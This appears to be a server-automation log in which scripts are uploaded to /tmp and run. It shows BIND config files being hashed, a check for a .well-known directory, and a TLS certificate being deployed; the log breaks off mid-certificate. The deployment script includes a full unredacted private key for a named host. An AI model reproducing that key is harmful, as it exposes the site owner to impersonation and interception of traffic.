Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-03 17:50:49: Establishing a connection
2026-01-03 17:50:58: Establishing a connection
2026-01-03 17:50:58:
PUT: /tmp/pkp410202
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 17:50:59:
runuser -l bind -s /bin/bash -c '/tmp/pkp410202; rm /tmp/pkp410202'
2026-01-03 17:50:59:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 17:51:07: Establishing a connection
2026-01-03 17:51:08: Establishing a connection
2026-01-03 17:51:09:
PUT: /tmp/pkp737809
#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-03 17:51:10:
chmod 755 /tmp/pkp737809; /tmp/pkp737809; rm /tmp/pkp737809
2026-01-03 17:51:10:
0
2026-01-03 17:51:38: Establishing a connection
2026-01-03 17:51:39:
PUT: /tmp/pkp806996
#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734
cat > $temp_file <<'endmsg'
cb:e0:5a:1a:86:8b:72:2b:5a:be:05:ab:9a:16:a3:d0
-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBdt0mXJZhKosSEE/D8Pgrg9vMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTY1MzA3WhcNMjYwNDAzMTY1MzA2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL6FEOblmWBpj/p7H71hQWaCucqOWppi0LG1A5T6s3ponF51
YVeKycDTdPhqMp8sDDV4EhPeT6FZR5EJg0kEBtrFZ9WOU/6EKeXnsQXSCp0iNCr3
eGE7UZ1+gHIg/6xRmU4ypqk/0SSWMdKGppEVogKuO8rFPIECAI8FUBWC004OIX4s
YoWsq9NWkVdVKXd/55E3r0d6ccV2pNGAJiu2+Nj02QGJyqxPFN2gpBcggZcwcOiO
4mmjAPc4V1+Sxzd/5c4JorGJdeqylbomSza8UHAzIlss0XJyXQpQ/8vHBnccenvu
XhSUx+KeOSFk0Ib8/Gg02fNrZUp9y1FeSZVCgL8CAwEAAaOCAjQwggIwMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUmEjvRsyKLV1a2VWYL8suoqqtNZEwHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8E
KDAmMCSgIqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzExMi5jcmwwggENBgor
BgEEAdZ5AgQCBIH+BIH7APkAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/
D8qpxgAAAZuE/HpVAAAEAwBIMEYCIQCu/Znw5lG7YOLXpvfrxbLFRTM5KAQBb9Uy
L+qoWsbDDQIhALq2uJNGsyOlKksBc+2xF49XpifrOmWwI7O13QhgJ4CIAH4AcX6V
88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIAAAGbhPx67AAIAAAFAAXt6u4E
AwBHMEUCIQCHYW1IQWNBY4oxv+gvCsi4oTzyYkEskfl2G043i3BLqgIgJxKbgcX6
FrO2lCXdVFLe5qRA7mJ6QfeiTLflQofGXUcwDQYJKoZIhvcNAQELBQADggEBAByu
oGAyfdT6PK4t2v9OlUuShIj7wl1+QXaBb4f7NW59uSsuOv6OgKAARHmJlTzz9zi4
DZEWOiVWg8OtkuaCJK/ZD+Kr1Jn2w2EQRLOjIR5qjbhVZNQA3XqiSRyzdLUmOERN
ZG6RYUfI7Ph4xFJ0sUuoNAX7SW5Z2whpzxq4GagoN4ZbBu+3Nkd+ALq+D27u+64S
h3xeIzEiDn15lyraKMzRV9ZF+ztHelwOPIBATQplg1BtNYIjHFUcZpxtp+nZQEPv
Sx96f3zg+Qff40T3oo73xbmkPYic9SKsyPZIqcAxsLXCG02oHkeQ/OFWeO6S1MKp
clY91ZTr/pcxv8iTcwk=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC+hRDm5ZlgaY/6
ex+9YUFmgrnKjlqaYtCxtQOU+rN6aJxedWFXisnA03T4ajKfLAw1eBIT3k+hWUeR
CYNJBAbaxWfVjlP+hCnl57EF0gqdIjQq93hhO1GdfoByIP+sUZlOMqapP9EkljHS
hqaRFaICrjvKxTyBAgCPBVAVgtNODiF+LGKFrKvTVpFXVSl3f+eRN69HenHFdqTR
gCYrtvjY9NkBicqsTxTdoKQXIIGXMHDojuJpowD3OFdfksc3f+XOCaKxiXXqspW6
Jks2vFBwMyJbLNFycl0KUP/LxwZ3HHp77l4UlMfinjkhZNCG/PxoNNnza2VKfctR
XkmVQoC/AgMBAAECggEAXoe8tqwmWXmXOEO+IGOwpRHo6JGQb/jmrr3vbIyl3+8m
4xFfvqV87IGfEKD0xBiBaEhOw+/y185qHZM4QlLOqd734bTQhUEDXvECWy54GLY/
ZzBJ2QirOrdpOPeZlGEabXvhSKoC9iHVz60C2Yr/y0+zGC2cEzCwoUYUEdBLUvcB
fN7uGcYFULkbbdPtbUUnSPKZj7ZxGMkkLuZPInFZq/5ZFlDA/CV74eA0xtmfpifX
EY4EQDsX4Zhe+CXYuP6U4PPnZVddaToYYal1IRvriTGagED7J/MXGrUsHOaxvGkT
hhJwuoOcQxECTylCGyF2uL1Fe8hv7nFktlNeUUg63QKBgQDo4ZGOJq4MJLbb+Gf9
JYoI2HjEQ6wTcu8BTr0XNBgaASVnT0OE/p5QGCeGstTYthI9EmGd0t30e1wpxfEg
mJii8UKvBheryGpHjyhTh16eYUF4+HwSY227Wgbzuc53DlBIZm+G4ZIysemllZld
5T5B1nkW2+Tfec1UO0aKs4xFgwKBgQDRbu2aayw2ubuaqMf/DfqrAFM7QDSQtK09
KF8tbbsLwQPK+69BiMeYYuQCSCC737uDP8zOMpRI05NV6n5EonWcs4aoJSZzL/EG
I4Onu8PctjCwV5cO94ow9hUUxdr8QZrervtKJg+QCkXSCsLKJz/clOP0TbnApQ9u
oRqiP19vFQKBgBnrMQX/LBPR6kAlL32vNeOyJA7D8Vzgx9T/bHAurhgG1KDg44Tj
yb7kUVHeiW3tJa6CYzbrhyR0rlc/3oxgL2zDKUbNiMjnr1xzhGt3f4JlFKJgFX7+
bfISHP/3SBFcGHdWX0dFx724q2ZwdfdLUliFhEiVBK4SolWjm0BIp239AoGATOwo
Wwo4IBWR4VlSs8xnoD0rVNzdMbUa2Bam9qGSDNwkz34nvbNGVCMmSexCEZ84WRmq
2KVdL25+dBT/safV+Os7bzDN8YrPRQjwR0BAzSUhtvNE6VtkJ12LGqkdKH/UKSwt
4ese1jHfuSj4qJVH8HXDUCzoJ+i4RVLo3GTYYY0CgYEAoBkIBHoFZYSZmI/5X3Uj
RDoG2FiXESbDrkHwFE5WD7JyuCc6m5OJ9uwqoOlayVBsNaRPr5/fuXF8CoDR/DIP
QJ02AZyhxz3VFn+A3wZdQ2Ppvs0L3Lfki4ZpcrMrJCq0rLpzXiEnXFv95dsi3KbP
3gzLrhTHTnzA5nW+aTVR76E=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
